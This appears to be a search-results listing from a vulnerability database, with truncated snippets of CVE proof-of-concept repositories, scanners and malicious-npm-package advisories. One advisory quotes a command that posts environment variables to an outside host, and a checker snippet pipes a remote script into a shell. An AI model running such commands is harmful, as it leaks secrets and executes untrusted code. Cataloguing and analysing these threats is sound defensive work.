121581 matches found
CVE-2022-1592
CVE-2022-1592 POC pip install requests --break-system-packages CVE-2022-1592.py https://tatget.com/...
Grafana-LFI-exploit
Grafana LFI exploit Updated exploit script for the CVE-2021-43798 from the following: https://www.exploit-db.com/exploits/50581 https://vulncheck.com/blog/grafana-cve-2021-43798 Usage 1. Update on line 5 ip and line 6 port to fit the target. 2. Run the script python3 grafana-exploit.py...
wannafind
wannafind Simple script using nmap to detect CVE-2017-0143 MS17-010 Windows SMB and CVE-2017-7494 SAMBA in your network Usage: wannafind.sh IP|Network wannafind.sh 192.168.1.0/24...
CVE-2024-3094
CVE-2024-3094 CVE-2024-3094 - Checker From here 1. Quickest way to check just run the following. curl -Ls https://raw.githubusercontent.com/pentestfunctions/CVE-2024-3094/main/checker.sh | sh...
Hybrid Submit
Hybrid Analysis Batch Submission Script This Python script recursively scans a folder and submits executable, script, document, and other relevant files to Hybrid Analysis Falcon Sandbox for automated malware analysis. Features Recursively walks through directories Submits only supported file typ...
it-sec-toolshell
ToolShell — SharePoint Zero-Day Presentation A Marp slide deck about CVE-2025-53770, with each slide kept in its own file under slides/. Build ./build.sh assemble slides into presentation.md ./build.sh html + render presentation.html ./build.sh pdf + render presentation.pdf ./build.sh all + HTML,...
Malicious code in hardhat-promised (npm)
Source: amazon-inspector 306eed59a2a4d15563101a3bfde19c1d6d5e0c9152cb0f3d0f421331e075ef4e The npm package hardhat-promised impersonates the pino logger: it ships pino's README with pino shields.io badges linking to npmjs.com/package/pino, LICENSE, docs/, index.d.ts, and lib/ directory layout...
CVE-2026-46300
Security Research & Legal Disclaimer This repository is for educational and authorized security research purposes only. Permitted Use Understanding security vulnerabilities and exploitation concepts in controlled environments local VMs, isolated labs Studying sandbox isolation mechanisms and thei...
EUVD-2026-94764
The Image Photo Gallery Final Tiles Grid WordPress plugin before 3.6.14 does not sanitise several gallery configuration values that can be overridden through its gallery shortcode before printing them into an inline script block, allowing users with contributor-level access and above to inject...
dirtycups
dirtycups.py Dirty CUPS is a free Linux/Unix CVE scanner Python3 script to validate if a target is vulnerable to CVE-2024-47176. This is a socket only CUPS scanner based off of MalwareTech's cupsscanner.py: https://github.com/MalwareTech/CVE-2024-47176-Scanner/blob/master/cupsscanner.py Original...
Malicious code in hardhat-promised (npm)
[email protected] was published to npm on 2026-10-06 13:59 UTC by user ryan.danial915 account's only package, created the same day. The name targets the Ethereum development tool hardhat. The package is a verbatim copy of the pino logger README, docs, lib/.js, SECURITY.md; the README badges...
MAL-2026-17662 Malicious code in hardhat-promised (npm)
[email protected] was published to npm on 2026-10-06 13:59 UTC by user ryan.danial915 account's only package, created the same day. The name targets the Ethereum development tool hardhat. The package is a verbatim copy of the pino logger README, docs, lib/.js, SECURITY.md; the README badges...
CVE-2025-12163
CVE-2025-12163: Stored Cross-Site Scripting in Omnipress WordPress Plugin Table of Contents Overview Vulnerability Details Technical Analysis Attack Vector Remediation Guide CVSS Metrics References Security Contact Overview Omnipress WordPress Plugin Stored XSS Vulnerability CVE-2025-XXXXX - A...
CVE-2021-4044
SSL Checker Script This repository contains a Python script that checks the OpenSSL version on your system and tests SSL/TLS connections to a user-provided website. The script is designed to identify whether the system is affected by CVE-2021-4044 and to test the handling of SSL errors during the...
MAL-2026-17654 Malicious code in abbishal-poc2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=...
Malicious code in abbishal-poc2 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=...
MAL-2026-17652 Malicious code in @ziedzzz/demo-canary (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6350184f3eabc17d37726cdd71ea97666cef28b2e1c125cffeb56e7c474b8dd On npm install, the package's declared postinstall script executes index.js, which collects a host fingerprint hostname, username, home directory, cw...
Malicious code in @ziedzzz/demo-canary (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6350184f3eabc17d37726cdd71ea97666cef28b2e1c125cffeb56e7c474b8dd On npm install, the package's declared postinstall script executes index.js, which collects a host fingerprint hostname, username, home directory, cw...
Malicious code in abbishal-poc-as-dependency (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...
MAL-2026-17653 Malicious code in abbishal-poc-as-dependency (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...